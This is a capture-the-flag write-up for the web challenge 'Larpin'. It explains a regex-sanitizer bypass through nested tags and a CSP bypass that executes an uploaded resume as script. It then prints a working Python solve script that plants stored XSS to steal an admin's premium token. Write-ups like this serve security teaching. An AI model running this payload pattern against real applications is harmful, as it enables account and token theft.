/writeups / tfc-ctf-2026

TFC CTF 2026

Technical walkthrough and verified exploit chain for Larpin (Web, 335 pts). Analyzes the regex ordering vulnerability, CSP bypass via same-origin attachment execution, and admin token exfiltration.

1 verified solve / Web Exploitation / September 2026

back to write-ups

Solves in this record

Web Exploitation

Larpin (335 pts)

Points: 335 Target: Flask / Gunicorn Status: Verified Solved

Challenge Summary

A social application featuring user messaging, profile customization, and job application submission. The admin user (ID 1) holds a premium membership. Viewing premium content requires an activation token stored in window.__USER_CONFIG__.premiumToken on the admin profile.

Vulnerability Analysis

The messaging endpoint at /messages passes URL-decoded input through a custom multi-pass regex sanitizer. The sanitizer strips tags sequentially rather than recursively:

  1. First pass: removes <iframe> tags.
  2. Second pass: removes <base> tags.

By nesting tags as <if<base>rame srcdoc="..."></iframe>, the string fails the first regex check. The second pass strips <base>, assembling a valid <iframe> element that renders in the victim browser.

Bypassing CSP and Executing Payloads

The site enforces a strict Content Security Policy allowing only self-hosted scripts. However, the job portal at /jobs/1/apply permits uploading a resume as text/plain. The srcdoc attribute within our synthesized iframe imports the uploaded resume from /jobs/applications/1/cv as a script tag:

<if<base>rame srcdoc="&lt;script src=&quot;/jobs/applications/1/cv&quot;&gt;&lt;/script&gt;"></iframe>

When the admin bot reviews messages, the iframe loads, executes the JavaScript from the resume file, queries /profile/admin, extracts the premium activation token, and sends it via an automated callback message.

Exploit Script

The automated Python solve script handles registration, resume payload staging, message delivery, token exfiltration, and premium activation:

import re, secrets, sys, time, requests
from html import unescape
from urllib.parse import unquote

base = sys.argv[1].rstrip("/")
session = requests.Session()
username = "lp" + secrets.token_hex(5)
password = "Larp12345!"

session.post(f"{base}/auth", data={"username": username, "password": password, "full_name": username, "action": "register"})
session.post(f"{base}/auth", data={"username": username, "password": password, "action": "login"})
profile = session.get(f"{base}/profile/{username}").text
user_id = re.search(r"userId:\s*(\d+)", profile).group(1)

js_payload = f"""(async () => {{
  const res = await fetch('/profile/admin');
  const text = await res.text();
  const m = text.match(/premiumToken\s*=\s*['"]([a-f0-9]+)['"]/i);
  const token = m ? m[1] : 'NO_TOKEN';
  await fetch('/messages', {{
    method: 'POST',
    headers: {{'Content-Type': 'application/x-www-form-urlencoded'}},
    body: new URLSearchParams({{receiver_id: '{user_id}', content: 'LARPIN_CB:' + token}})
  }});
}})();""".encode()

session.post(f"{base}/jobs/1/apply", files={"resume": ("resume.txt", js_payload, "text/plain")}, data={"cover_letter": "Review resume"})
payload = '<if<base>rame srcdoc="&lt;script src=&quot;/jobs/applications/1/cv&quot;&gt;&lt;/script&gt;"></iframe>'
session.post(f"{base}/messages", data={"receiver_id": "1", "content": payload})

for _ in range(60):
    page = session.get(f"{base}/messages?user=1").text
    m = re.findall(r"LARPIN_CB:([a-f0-9]+)", page)
    if m:
        session.post(f"{base}/premium/activate", data={"token": m[-1]})
        flag = re.search(r"TFCCTF\{[^}]+\}", session.get(f"{base}/premium").text)
        if flag:
            print("Flag:", flag.group(0))
            break
    time.sleep(5)
Flag Receipt TFCCTF{cause_we_can_stay_here_or_we_can_go_we_can_go_larp_larp_larp_sahur}